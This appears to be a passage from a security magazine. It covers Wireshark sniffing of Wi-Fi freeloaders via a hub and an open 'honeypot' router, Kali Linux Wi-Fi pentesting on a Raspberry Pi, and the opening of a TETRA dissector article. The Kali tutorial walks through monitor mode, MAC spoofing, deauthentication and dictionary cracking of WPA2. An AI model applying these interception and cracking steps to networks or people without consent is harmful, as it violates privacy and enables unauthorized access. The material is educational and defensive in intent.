Court Graham is a security professional with over 13 of experience Information Security. Court holds multiple Information Security certifications including CISSP and CEH. His experience includes high security government networks gained during tenure for the US. Department of Defense and facilities to networks storing sensitive customer information including credit card & health care data. He has built a career around protecting and defending such information from the myriad of risk presented to it.

Wi-Fi Combat Zone:

Wireshark Versus the Neighbors

If you're one of the regular readers of Hakin9, then you know that there are several means by which your neighbors could have penetrated your Wi-Fi LAN. Do you ever wonder if it's already happened? Would you like to learn how to monitor anybody that's abusing your network?

Then take a look at "Wi-Fi Combat Zone: Wireshark versus the neighbors", where we will take a deep look at the well-known, free "Wireshark" Ethernet diagnostic software, concentrating on its use while monitoring the activities of uninvited guests on our networks.

If you're one of the regular readers of Hakin9, then you know that there are several means by which your neighbors could have penetrated your Wi-Fi LAN. Do you ever wonder if it's already happened? Would you like to learn how to monitor anybody that's abusing your network?

You've come to the right place!

In today's message, we will take a deep look at the well-known, free "Wireshark" Ethernet diagnostic software, concentrating on its use while monitoring the activities of uninvited guests on our networks.

Wireshark has been around for a long time! I first stumbled upon it back in the late 1990s, when it was known as "Ethereal", the product of a talented American network engineer named Gerald Combs. I was thrilled with it. At the time, I was designing a new, commercial network security system for my own small company, and I had been trying to persuade investors that the future would bring increasing need for security products. Using Wireshark with their permission, I was able to capture usernames and passwords on the Ethernet LANs of potential investors. They had all heard that this sort of thing was possible, but prior to the appearance of Ethereal, the necessary tools had been very expensive.

When I told them that Ethereal was free, legal, easy to use, and compatible with almost every inexpensive PC then in existence, my investors got out their checkbooks! I've been using it ever since.

Wireshark Architectures

Wireshark software is easy to install, and the installation process follows the general and well-established norms for each computing platform. It will run on almost any personal computer, using LINUX, MAC OS-X, Windows, and several of the most popular versions of Unix. Free versions for Windows and Macintosh platforms can be downloaded from www.wireshark.org. Even the source code is available there, for public examination. Linux users could install from the source code, but most Linux distributions include Wireshark as a precompiled application within their "repository" libraries, according to the common new Linux traditions.

But there is a problem....

Although it is easy to obtain and install Wireshark, it is generally NOT easy to get it to intercept Wi-Fi traffic in a broad, general-purpose way. Interception and examination of Wi-Fi traffic with Wireshark is NOT the same as using the well-known "Promiscuous Mode" to examine conventional Ethernet traffic.

Although all Wi-Fi adapters are capable of gathering Wi-Fi signals from every compatible 802.11 emitter within range, the "driver" software that connects your hardware Wi-Fi adapter with your operating system will discard any of those signals

that are directed toward other computers unless it has been specifically designed to support what Wi-Fi engineers call "Monitor Mode". And here's the problem: Most popular, low-cost Wi-Fi drivers do NOT support Monitor Mode (This is especially true of drivers written for the Microsoft Windows operating system).

Unless you are among the fortunate few with a Wi-Fi card whose device driver software supports Monitor Mode, your copy of Wireshark will display only packets directed at your own computer, and "broadcast packets" that are deemed to be safe when broadcast to everybody on your LAN. You won't be able to see conversations between the other computers and nodes of your network, and you won't be able to monitor the details of the traffic they exchange on the Internet.

For the remainder of this article, we are going to assume that you suffer from these constraints like most people.

Figure 1. *Ethernet Hub between Wi-Fi Router and Broadband Modem*

Figure 2. *Honeypot Wi-Fi Router and Ethernet Hub*

Don't despair.... We have two simple, low-cost solutions for you! You WILL be able to monitor your neighbors (and others) using Wi-Fi to connect to your LAN as they send and receive information through your Internet connection. We call these solutions "Wireshark Intercept Architectures". They will require you to make some changes to your home or small office LAN, but the changes are simple and very low in cost. As illustrated in the two figures below, the two architectures are: Figure 1 and Figure 2.

As shown in Figure 1 and 2, an Ethernet Hub is central to all of our plans. An Ethernet Hub looks a lot like a common "Ethernet Switch", and although it connects into your network in the same way, it is NOT the same thing. When you go shopping for an Ethernet Hub, you'll be looking for a low-cost, profoundly dumb device.

Although Ethernet Switches use more modern technology and are more common, Ethernet Hubs are still readily available. The difference between an Ethernet Hub and an Ethernet Switch is fundamental to our interception architectures. Here are the definitions: Figure 3.

Ethernet Hub: An electronic device that expands the number of Ethernet connections by a process of

Figure 3. *Ethernet Hub*

Figure 4. *Ethernet Switch*

mindless signal replication, so that any Ethernet signal that enters into the hub through any of its connectors is replicated at all of the others (Figure 4).

Ethernet Switch: An electronic device that expands the number of Ethernet connections by a process of intelligent signal switching. The source address of every Ethernet frame entering the switch through any of its connectors is examined and recorded in a table, associating it with the connector through which it arrived, so that the switch learns the Ethernet addresses of equipment attached to each connector. The destination address of every Ethernet frame entering the switch through any of its connectors is also examined and compared with the table. If the switch does not yet know which connector leads to the addressed destination, then the switch behaves exactly like an Ethernet Hub, "broadcasting" the packet to every connector to maximize the likelihood of proper transmission. On the other hand, if the switch already knows the proper connector for delivery, it sends the packet ONLY out that connector to minimize traffic congestion (Figure 5).

By now it should be clear why we want to insert an Ethernet Hub into our network: It creates a perfect "wiretap" for Wireshark! Wherever you insert your Ethernet Hub, you can connect an additional computer, running Wireshark, and you can then see ALL of the Ethernet traffic traversing the Hub. It doesn't matter whether the traffic originated on an encrypted Wi-Fi link, or through hardwired Ethernet: you get it ALL, and the computer hosting Wireshark won't even need a Wi-Fi adapter! (On the other hand, an Ethernet Switch in the same position would filter out all of the most interesting traffic, sending only Ethernet traffic that is designated for broadcast to everybody).

Take a look at Figure 1. In this architecture, we assume that the Wi-Fi Router at your network's "head end" is separate from your broadband modem. (About half of the world's domestic Wi-Fi networks look like this.) Before beginning this exercise, a single Ethernet cable led between the Broadband Modem and the Wi-Fi Router's "Internet" connector. The Ethernet Hub that we've inserted between the Broadband Modem and the Wi-Fi Router allows the Wireshark Host to see ALL of the Internet traffic for every user of the network.

Now Take a look at Figure 2. In this architecture, we assume that your Wi-Fi Router (designated "Wi-Fi Router 1") has a built-in broadband modem, so you can't get access to an Ethernet segment upstream of your Wi-Fi traffic. This is another very common situation, because most domestic Internet Service Providers install an "all in one" Wi-Fi Router and Broadband Modem combination. In this situation, we chose to install a second Wi-Fi Router, designated "Honeypot" router in the illustration. An Ethernet Hub and Wireshark host are then connected between the 2 routers, more-or-less duplicating the wiretap situation shown in Figure 1.

Obviously, the architecture of Figure 2 allows our Wireshark host to see all of the Internet traffic exchanged through the Honeypot Router, but it

Figure 5. *Ethernet Switch Internals. An Ethernet Switch is a lot like an Ethernet Hub, but it includes microprocessor-based intelligence so it can avoid broadcasting most Ethernet signals. Instead, it learns the specific and appropriate destination for each Ethernet frame it processes, and forwards each incoming message fragment only to the appropriate Ethernet connector. This can increase network efficiency and privacy, but it interferes with our desire to monitor all network traffic. For our purposes in this discussion, a Hub is better!*

cannot see Internet traffic exchanged through the original Wi-Fi Router. Accordingly, we must force any unauthorized users to switch to the Honeypot Router.

How do we do that? Easy! We just change the WPA encrypting key of Wi-Fi Router 1, and we leave the "Honeypot Router" running Wi-Fi in the clear, without any encryption. All of the users will immediately face a decision: They can ask us for the new WPA key for their familiar Wi-Fi Router 1, or they can experiment with the Honeypot Router's access.

As you have no doubt surmised, all of the "Interesting" traffic will go for the Honeypot router, and you'll be able to monitor it!

The Wireshark software

Once Wireshark is installed on your computer, you can begin capturing traffic. You will need to designate a network "Interface" whose traffic you want to monitor. Most computers nowadays have more than one Ethernet interface (Usually a hard-wired Ethernet connector and a Wi-Fi card), and Wireshark's administrative interface displays a prominent "Capture" Section where you can activate a "live" list of available interfaces. Each interface in that list is accompanied by a counter that continuously displays the number of Ethernet packets that have been observed.

Figure 6 illustrates this list after 2,687 packets had been observed through interface "eth1" (If you just want to examine all packets from all interfaces, you can select the interface labeled "any").

Once you choose an interface and press the prominent "Start" button, your display will look a lot like Figure 7.

Beneath the usual arrangement of drop-down menus and icons, your display will be dominated by three large sections tiled on top of one another, each of which will span your entire display window from left to right. You can re-size each of these 3 areas by left-clicking and dragging on the dividing horizontal boundaries between them.

From top to bottom, these three sections are:

Section 1 of 3

A scrolling list summarizing all captured frames. Each frame is described on a separate horizontal

Figure 6. *Wireshark's "Capture Interface" Selector*

row, identified by a sequence number and its arrival time. Additional fields reveal the frame's source address, destination address, protocol type, and a brief explanation. You can use your mouse to highlight one of the lines in this area for further exploration. In Figure 7 we have highlighted Packet #1, which is identified as an "ARP" frame from Ethernet Address "Cisco_eb:d9:78".

Section 2 of 3

A Protocol Interpretation Area revealing additional information about the Ethernet frame highlighted in the scrolling list. Because Ethernet frames can contain many different types of data packets, Wireshark has been designed to use this area dynamically, and with deep intelligence. Although the general format and arrangement of this area will remain constant, the details change as appropriate to help you explore different kinds of Ethernet frames and as you "drill down" into their contents. As shown in Figure 7, this area is dominated by a series of horizontal lines, each commencing with an "arrowhead" icon to indicate the presence of additional details that can be accessed with a mouse-click.

This arrangement mimics the general organization of Ethernet frames, which can contain packets within packets within packets, and each of those inner packets consists of several "fields" whose purpose and format have been standardized by committees of engineers (who had to come to agreement before data could be interchanged).

Thus the top line in Area 2 of Figure 7 summarizes the entire, corresponding Ethernet frame at the "highest" level. Additional lines beneath that one focus on embedded packets or significant field areas within the frame, with "deeper" embedded frames corresponding with lines beneath upper ones. Clicking on the arrowhead icon at the left of any of these lines will invoke additional, expert logic to analyze the contents of the corresponding data, revealing its structure and purpose in the vocabulary of the engineers who designed and standardized it.

Take a look at Figure 8, showing the way Area 2 examines the 66th captured Ethernet Frame, after left-clicking on the arrowhead icon to expand the very first horizontal line. As you can see, the contents of that summary line have been GREATLY expanded to reveal more information about the entire packet.

Section 3 of 3

Return to Figure 7, where you can see Section 3 across the bottom. In this area, Wireshark displays all of the "raw" data within the selected Ethernet frame, without trying to analyze its structure. The data is "dumped" in Hexadecimal across the left side of Section 3, revealing the relative position and precise value of each data byte. If you are comfortable with Hexadecimal math, you can get to "bedrock" using this data dump, even if you encounter an Ethernet frame using a protocol that is completely undocumented. The right side of Section 3 tries to show additional insight, on the assumption that some of the characters may be formatted according to the popular conventions of the "ASCII" character set. Thus, if the data contains a printable word or phrase formatted in the usual way, you'll see it here (It is commonplace to see usernames and passwords in this area when unsophisticated, non-encrypted protocols are in use).

Capture Everything!

After you begin capturing Ethernet data as described above, you'll notice that the list of data in

Figure 7. *Wireshark in action, showing 3 main sections tiled beneath the usual set of dropdown menus*

Figure 8. *Any of the lines in Section 2 can be expanded for further detail by left-clicking on its arrowhead icon. Here we see the first line expanded, revealing details about the entire, selected Ethernet frame. Note that there are 3 additional lines beneath that first one, each representing content that is buried correspondingly "deeper" within the frame, and that each of those 3 additional lines has its own arrowhead icon, indicating the presence of additional, available details that can be accessed with a simple click of the mouse*

Section 1 will scroll up as additional frames appear at the bottom. Within a few minutes you'll probably capture thousands of frames, and you may want to stop capturing.

Click the "Capture" drop-down menu heading at the top of your display, and then select "Stop". No further data will be captured, and the scrolling list will stop moving, giving you time to explore individual frames already captured.

At this point you can use the "Save As" option from the usual "File" drop-down menu to save a copy of the captured packets. I recommend that you take this step whenever you've captured traffic that you suspect may contain anything interesting (This is a reversible process; you can load the saved file for further analysis whenever you need to).

Explore the Details

Click on one of the horizontal lines in Section 1, and you'll see associated details in Sections 2 and 3. Click on the resulting, little "arrowhead" icons in Section 2 and you will see further details and labels identifying the purpose and structure of the selected areas. Sometimes, as you explore areas of Section 2, you may notice that areas of the data in Section 3 change color to help you identify the raw data that's associated with the area under examination.

Real expertise with Wireshark will come as you select an individual frame in Section 1 and then use Section 2 to explore its contents, referring to Section 3 as appropriate to read any text messages that it may contain.

Figure 9. *Wireshark's examination of a more interesting Ethernet frame containing a Domain Name System query packet from a computer operating within our own local IP subnet. Note the text at the bottom identifying the "Internet Movie Database" www.imdb.com. It looks like somebody is going to be looking for movie entertainment....*

All of this will take time! As you will observe, there are a great many different kinds of data packets that can be wrapped up inside Ethernet frames. Most of these won't be very interesting. The great preponderance of Internet traffic is mundane stuff. But every once in a while, you'll find a gem!

Pay special attention to the "Source" field in Section 1. Watch for IP addresses from your own local subnet, paying special attention to any that are unfamiliar or that you have not specifically authorized as part of your own network. (Usually these local IP addresses will begin with "192.168", and the subsequent address digits will be assigned by your router according to guidelines you've set up through its management menus.) If neighbors or other unauthorized people are using your network, their packets will be among this group.

For example, take a look at Figure 9, in which we examine frame #208, originating from IP address 192.168.10.123. Obviously this IP address comes from our own, local subnet, so it's likely from a computer that's very close by. From Section 1 we can see that it's a DNS packet. Section 2 reveals further that it's a Domain Name System query. By clicking on the associated arrowhead icon in Section 2, we can force Section 3 to highlight the associated data, where we can see that somebody is requesting the IP address of the well-known "Internet Movie Database" at *www.imdb.com*.

This is EXACTLY the kind of behavior that we might expect from an unsophisticated neighbor casually using our Internet connection via Wi-Fi. At this point, it might be wise to browse into the management interface of our Wi-Fi router to see when IP address 192.168.10.123 was issued, and the hardware address of the Ethernet adapter it uses....

Figure 10. *Wireshark's "Filters" tool allows you to filter unwanted information from view. In this example, we are preparing to hide all frames that do NOT contain an IPv4 packet*

More Wireshark tools: "Analyze"

Wireshark's dropdown menus offer additional tools that you might enjoy. For example, after selecting a line representing TCP traffic in Section 1, take a look at the "Analyze" dropdown menu. An option to "Follow TCP Stream" is prominent. Click that option and you'll see a very interesting summary of that TCP packet and all of the other TCP packets comprising the associated TCP session, which could span a long period of time. All of those TCP packets will be located from your captured data, sequenced into proper order, and formatted for your convenient viewing. If this TCP Stream is like most, it will contain printable words and phrases that will be prominently displayed. This is one of the best ways to get a quick, high-level understanding of the messages traversing your network (Similar analysis tools are also available for examination of sequenced UDP and other session-oriented traffic).

More Wireshark tools: "Filters"

After capturing thousands of Ethernet frames, you will want to sort through them quickly and easily. For example, you may want to concentrate only on those originating from or going to IP address 192.168.10.123. You can easily use the "Filter" facility to eliminate all other frames from the display list. This is done by clicking on the prominent "Expression" button (as shown near the top of Figure 9), near the blank "Filter" box).

A long, scrollable list of "Field Names" will appear. Scroll that list down to "IPV4" and then click the associated arrowhead icon for further expansion, as shown in Figure 10. Now scroll down further, among the newly displayed ip subfields, to select "ip.addr". Then, as shown in Figure 11, click within the "Relation" box to select "==". Finally, type the target IP address "192.168.10.123" into the "Value" box. This will automatically construct what Wireshark calls a "Display Filter" meeting our requirements. From that moment onward, only captured frames originating from or sent to IP address 192.168.10.123 will be displayed, allowing us to concentrate our efforts on the most interesting traffic for our chosen situation.

Conclusions

Wireshark is a very powerful, free software tool that will allow you to examine every detail of traffic on your Local Area Network, including a great many things that casual users assume they can keep private. By configuring your network with an Ethernet Hub near your main Internet connection, you will be able to connect Wireshark strategically so that you can see the contents of Wi-Fi (and other) traffic exchanged on the Internet. If somebody is abusing your network, you will be able to monitor their activities whenever they happen to use a routine, unencrypted protocol for Internet access.

This will require patient research, because the vast majority of the Ethernet frames that you capture will contain traffic that is either uninteresting, too complex to allow easy analysis, or has been encrypted. However, even the most clever users will eventually access resources that can easily be examined, and by studying their activities with Wireshark, you will be able to determine the IP addresses that they use on your network, the amount of time they spend connected, the amount of traffic they generate, the probable manufacturer and Ethernet address of their Ethernet adapter, the web sites they access, and some of the messages they exchange.

Figure 11. *Sometimes additional information is needed in order to complete construction of an appropriate Wireshark display filter. In this case, the filter will exclude all frames unless they are communicating with IP address 192.168.10.123*

BOB BOSEN

Bob Bosen began building personal computers in 1969, and he had already completed and programmed three of his own machines before Jobs and Wozniak revealed the "Apple 1". He invented modern one-time password systems in 1979 and holds corresponding patents in the US and UK. His "SafeWord System" is in widespread use throughout the world, providing strong authentication for millions of network users every day. He frequently uses Wireshark to troubleshoot and research network applications, and he publishes the well-known "AskMisterWizard.com" online video magazine.

Dr.WEB®
20 years

Dr.Web SplDer is 8-legged!

New Package Installer

Improved Technology for Protection against yet-unknown Threats

Improved Parental Control

Unified User Interface

New Anti-Rootkit Module

Online Service Dr.Web Cloud

Free Upgrade to New Version

Better than ever: Dr.Web Security Space version 8.0! 30-day trial available from https://download.drweb.com/?lng=en

New Version 8.0

Dr.Web Security Space
and Dr.Web Antivirus for Windows

Get your free 60-day license under
https://www.drweb.com/press/

Doctor Web is a Russian anti-virus vendor with a software development record dating back to 1992.

www.drweb.com

© Doctor Web
2003 — 2013

Wi-Fi Security Testing with Kali Linux

on a Raspberry Pi

Learn how to test the security of Wi-Fi networks using a $35 Raspberry Pi and the new Kali Linux. You will also see how some common wireless network security tactics are very easily bypassed.

Testing your company security is the best way to know that it is actually secure. In this article we will learn how to install Kali Linux on a Pi, connect to it remotely via Windows 7 and use it to perform some basic wireless security tests.

Kali Linux is the newest version of the ever popular Backtrack penetration testing and security platform. Numerous updates and enhancements have been added to make Kali more capable and easier to update than ever before. If you are familiar with Backtrack you will feel right at home in Kali. Though it looks slightly different the basic usage and operation is identical.

Note

Occasionally I have noticed that certain programs will not run from the command prompt on the ARM version of Kali. You may need to execute them from their program directory under `/usr/bin`.

Raspberry Pi is a very inexpensive fully functional "credit card" sized computer that comes in two models. The newer "B" model, used in this article, has 512 MB RAM, video output, a NIC, sound jack and dual USB ports and amazingly only costs about $35 (USD).

The Pi has an ARM based processor, and comes preloaded with an operating system. But other operating systems compiled for ARM can also run on the Pi.

The good folks at Offensive Security have created a Kali Linux image for the Raspberry Pi, so installation could not be easier. All you need is a Raspberry Pi, the Kali Image, and an SD Card. We will also use a Windows system to write the image to the SD card, and then use it to connect to the Pi via SSH.

As always, never connect to or access a network that you do not have express written permission to access. Doing so could get you into legal trouble and you might end up in jail.

Pi Power Supplies and Memory Cards

Before we get started, let me quickly cover power issues with the Raspberry Pi. A Power adapter does not normally come with the Pi. If the adapter you use does not provide enough amperage the Pi will act erratic, especially when you try to plug in the Wi-Fi card.

The manufacturer recommends that you use a 2 amp power supply. Many micro USB power adapters only provide one amp or less. I have had very good luck with a 2.1 Amp adapter from Rocketfish.

The Pi also comes without a required SDHC memory card. An easy rule to follow when selecting a card is, the faster the better. I used a Sony 16GB Sony memory card with a stated transfer rate of 15MB/s.

Any data on the card will be wiped during install.

Installing Kali on a Raspberry Pi

All right, let's get started!

- Download the Kali Linux Image [1] to your Windows system.
- The image file is compressed so you will need to expand it.
- Next, Install the image to your SD card – Win32 Disk Imager [2] works great.
  Just plug your SD card into your Windows computer and run Disk Imager. Point it to your Kali image that you downloaded and select the drive letter of your SD card.
  Then just hit "Write" (Figure 1). Disk Imager will write the Kali Linux image to your SD card.
- Now eject the SD card from Windows and insert it into the SD card slot on your Raspberry Pi. Connect your video, Ethernet cable, keyboard and mouse.
- Connect power to the Raspberry Pi and in a few seconds it will boot up into Kali.
  That is it! You know have a Raspberry Pi Pentesting platform!

Connecting to the Raspberry Pi remotely from a Windows system using SSH

Running with a keyboard and monitor attached is a good way to get started. But in this article we will see how to run the Pi headless, without a keyboard and monitor. We will control the Pi remotely over the LAN from our Windows box through SSH.

To do so:

- Download Putty [3] for Windows.
- Run Putty and enter the IP address for your Kali System. You can get this by typing "*ifconfig*" if you have a keyboard attached or by checking the address given to it by your router if you are running Kali headless.

My IP address was 192.168.1.135. Also, make sure port 22 is entered and select "*SSH*" as the connection type as shown in Figure 2.

Then just hit "Open".

Figure 1. *Writing a Kali Disk Image from Windows*

Figure 2. *Configuring Putty to Connect to the Pi*

Figure 3. *Logging in to our Kali Raspberry Pi Using Putty on a Windows 7 System*

Figure 4. *Setting Installation Options for Xming*

Figure 5. *Entering the Raspberry's IP address and Port Number*

You will be asked to log into the Raspberry Pi. If this is the first time, just use the Kali default credentials:

```
Username: root
Password: toor
```

That's it!

Now you can run any of the text commands you want on your Raspberry Pi remotely from your Windows System (Figure 3).

Viewing Graphical X Windows Programs Remotely through Putty

Okay, you can run any text based program through Putty, but if you try to run a graphical program it will not work. We can run the X based programs over a remote Putty connection if we use Xming, the X Server for Windows.

Figure 6. *Enabling X11 Forwarding in Putty*

Figure 7. *Kali Desktop in Xming on Windows 7*

- Simply download and install Xming [4].
- When asked which components to install click "Don't install an SSH client" (Figure 4) and finish installation.
- Now open Putty again and put in the IP address and port for your Raspberry Pi (Figure 5).
- Then expand the SSH Connection tab on the left under *Category* and then click on X11 as seen in Figure 6:
- Enable X11 forwarding and type in "*localhost:0*" as the X display location.
- Go ahead and start the putty session (make sure Xming is running in the background).

You will now be able to view graphical programs remotely over your SSH connection.

```
root@kali:~# ifconfig wlan0 up
root@kali:~# ifconfig
eth0      Link encap:Ethernet  HWaddr b8:27:eb:45:bb:fa
          inet addr:192.168.1.135  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::ba27:ebff:fe45:bbfa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:89 errors:0 dropped:0 overruns:0 frame:0
          TX packets:96 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7943 (7.7 KiB)  TX bytes:14104 (13.7 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

wlan0     Link encap:Ethernet  HWaddr f8:d1:11:b3:f7:df
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@kali:~#
```

Figure 8. *Ifconfig Listing Showing Network Devices*

```
root@kali:~# iwlist wlan0 scanning
wlan0     Scan completed :
          Cell 01 - Address: [redacted]
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=19/70  Signal level=-91 dBm
                    Encryption key:on
                    ESSID:"[redacted]"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=0000001e27b4acfc
                    Extra: Last beacon: 690ms ago
                    IE: Unknown: 000439393063
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 030106
                    IE: Unknown: 2A0106
                    IE: Unknown: 2F0106
                    IE: Unknown: 32040C121860
                    IE: Unknown: DD09001018020 1F0000000
                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00
          Cell 02 - Address: [redacted]
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=41/70  Signal level=-69 dBm
                    Encryption key:on
                    ESSID:"[redacted]"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=000000855462a183
                    Extra: Last beacon: 590ms ago
                    IE: Unknown: 000A00000000000000000000
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 030101
                    IE: Unknown: 050402030000
                    IE: Unknown: 2A0100
                    IE: Unknown: 2F0100
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32040C121860
                    IE: Unknown: 2D1AFD191BFFFFFF000000000000000000000000000000000000
```

Figure 9. *Listing all Area Wi-Fi Networks in Range with Iwlist*

Just a note, the command "*startx*" isn't going to work right over Putty. But with X11 forwarding enabled, if you really must have the desktop up, you can simply type:

```
@kali:/# xfce4-session
```

This will start a desktop session over X and you will be able to see the whole Kali desktop remotely on your Windows System as seen in Figure 7:

The desktop is not required though, and in many cases it is much easier to just run the commands from the command prompt without starting the desktop. Doing so will also save some precious resources on the Pi.

Basic Wi-Fi Pentesting

Most of the commands that run in Backtrack 5/ Kali will have no problems running on the Raspberry Pi. Playing with Wireless Penetration testing with the Kali on PI worked very well, and was a lot of fun.

Simply plug your USB Wi-Fi adapter into the Pi. I used a TP-Link TL-WN722N Wi-Fi adapter with an antenna.

One thing I noticed, you may need to power cycle the Pi if it doesn't boot up right after plugging in your Wi-Fi adapter.

At the command prompt type "*ifconfig*" and check to see if your Wi-Fi adapter is listed. It should show up as *wlan0*. If you don't see it, type "*ifconfig wlan0 up*". Then run "*ifconfig*" again and it should show up (Figure 8).

Next let's see what networks our wireless card can see.

- Type, "*iwlist wlan0 scanning*" (Figure 9).
  Very cool, it is working. Now let's run some of the basic Aircrack-NG tools.
  First we need to put our wireless adapter into monitoring mode. This is a special mode that allows us to capture and view wireless signals.
- Type "*airmon-ng wlan0 start*" (Figure 10).

This creates a new wireless adapter called `mon0`. Now we can use this interface to capture wireless management and control frames.

To do so, we will need a packet capture program. You could use tcpdump by simply typing `tcpdump -i mon0`. Or you could use *tshark*, the text version of Wireshark.

But what's the fun in that? I like graphical interfaces!

With Xming running you can just start Wireshark as you normally would and it will show up on your Windows system.

- Type "*wireshark*" at the command line.
- Then just select your monitoring interface (`mon0`) and click "*Start*" (Figure 11).

You will now be able to capture any Wi-Fi control packets within range (Figure 12):

A quick search for Probe Responses and you can see the SSID of any "Hidden" Wi-Fi Access Points. In the Wireshark snippet below we see the hidden access point named "*Hidden*":

```
Probe Response SN=3521, FN=0, Flags=…..C, BI=100,
                    SSID=Hidden
```

As you can see hiding your Wireless name is not an effective means of securing a network.

MAC Filtering is not very effective either as you can monitor an individual access point with airod-

Figure 10. *Starting airmon-ng Monitoring Mode*

Figure 11. *Enabling X11 Forwarding in Putty*

Figure 12. *Packet Capture in Wireshark*

ump-ng and get the MAC address of any system that connect to it:

```
Airodump-ng -c (AP Wireless Channel) -a -bssid
                (MAC Address of AP) mon0
```

Then you simply spoof your MAC address using a program like *macchanger* and you can connect without any problems.

WEP and WPA/WPA2 Cracking

You can use the `airmon-ng` tools to manually attempt to crack WEP and WPA keys, but it is much simpler if you use "*Fern Wi-Fi Cracker*". Fern puts a graphical program interface to `airmon-ng`, and includes the Reaver WPS protected setup attack, and several other useful tools.

To start Fern in Kali:

Figure 13. *Two WPA Networks Detected During Fern Scanning*

Figure 14. *Fern Showing Seven Detected Wi-Fi Networks*

Figure 15. *WPA2 Key Recovered with Fern*

- Type "*fern-wifi-cracker*" at the command prompt.
- Simply select your interface and click "*Scan for Access Points*". After a short while any detected Wi-Fi networks will show up next to the Wi-Fi WEP or WPA buttons (Figure 13).
- Now select the Wi-Fi button you want to attack and a list of detected APs will show up. We have a lab WPA 2 router up and running named "Vulnerable Router" that we will use in this example.
- Next select the "*Regular Attack*" button, and pick a dictionary file (common.txt is included with Fern).
- And finally click "*Wi-Fi Attack*".

Fern will then then Deauthenticate a client from the AP so it can capture an authentication key when the computer tries to reconnect. It then tries to crack the key using the dictionary file provided.

If the dictionary file contains the password you should see this (Figure 15).

WPA Key: password

Wow, a password of "*password*", not a smart way to secure anything. You would definetly not want an AP like that attached to your corporate network.

We now have the access key to the Wi-Fi network, and depending on the level of testing needed, could continue to penetrate deeper into the network if necessary.

As mentioned earlier, MAC filtering is not an effective means of securing a wireless network. If you look above in Figure 15, across from 'Handshake Captured', you can see that Fern was kind enough to give us the MAC addresses of any client connected to the AP in a drop down box.

Conclusion

In this article we learned how to install and run Kali Linux on a Raspberry Pi Computer. We also learned how to connect to it remotely from a Windows system and use it to run some basic wireless pentesting.

Hopefully we demonstrated that trying to hide your wireless network or use MAC filtering for security are not effective means of protecting your network. Also Fern Wi-Fi cracker would make short work of any wireless AP protected by a weak password key.

If an attacker can gain access to your network via Wi-Fi, they could use the foothold to attack deeper into your infrastructure. It is imperative to use strong complex WPA2 passkeys for small to medium businesses and home offices, or RADIUS servers in a corporate environment.

References

[1] Kali Linux Download – (http://www.kali.org/downloads/)
[2] Disk Imager Download- (http://sourceforge.net/projects/win32diskimager/)
[3] Putty SSH Client – (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
[4] Xming Download – (http://sourceforge.net/projects/xming/)

You should also scan your network frequently to be sure there are no rogue or "employee installed" access points on your network. Testing your network for rogue, or weakly secured access points should be a part of every company's security routine.

While Wi-Fi pentesting on a Raspberry Pi may not make the most sense for large companies, it is a very cost effective solution. To be able to run Kali on a credit card size $35 computer and be able to test wireless security with it is just incredible.

It could also be a very interesting solution for professional pentesters. The Pi comes with not one, but two USB adapters. And if paired with battery power, could be used in many creative ways.

DANIEL DIETERLE

Daniel Dieterle has 20 years of IT experience and has provided various levels of IT support to numerous companies from small businesses to large corporations. He enjoys computer security topics, and is an internationally published security author. For the latest computer security news and tips check out his blog Cyberarms.wordpress.com. Dan can be reached at cyberarms@live.com.

Using Wireshark

to Analyze a Wireless Protocol

Wireshark is the perfect platform to troubleshoot wireless networks. In this tutorial, I will demonstrate how to support a new wireless protocol in Wireshark. A wireless protocol in the real world is very complicated, so I will use ASN.1 technology to generate the source code of a dissector. Some advanced topics, such as export information, tap listeners, and so on, will be briefly introduced.

Protocol analysis is extremely important, both for engineers in developing a complicated communication system, or for network supervision and fault diagnosis. Wireless networking is a bit more complex than a wired one. Countless standards, protocols, and implementations causes trouble for administrators trying to solve network problems. Fortunately, Wireshark has sophisticated wireless protocol analysis support to troubleshoot wireless networks.

In this article, we'll try to demonstrate how to analyze the real-world captures of a wireless communication protocol, *TErrestrial Trunked RAdio* (TETRA). We will discuss how to sniffer the wireless data and to dissect the protocol data.

TETRA Protocol Stack

TETRA is a specialist Professional Mobile Radio specification approved by ETSI. TETRA was specifically designed for use by government agencies, emergency services, rail transportation staff, transport services and the military. TETRA requires fast call set-up times (<0.5s), and since most call durations last less than 1 minute, the operations of channel assignment and release are frequent.

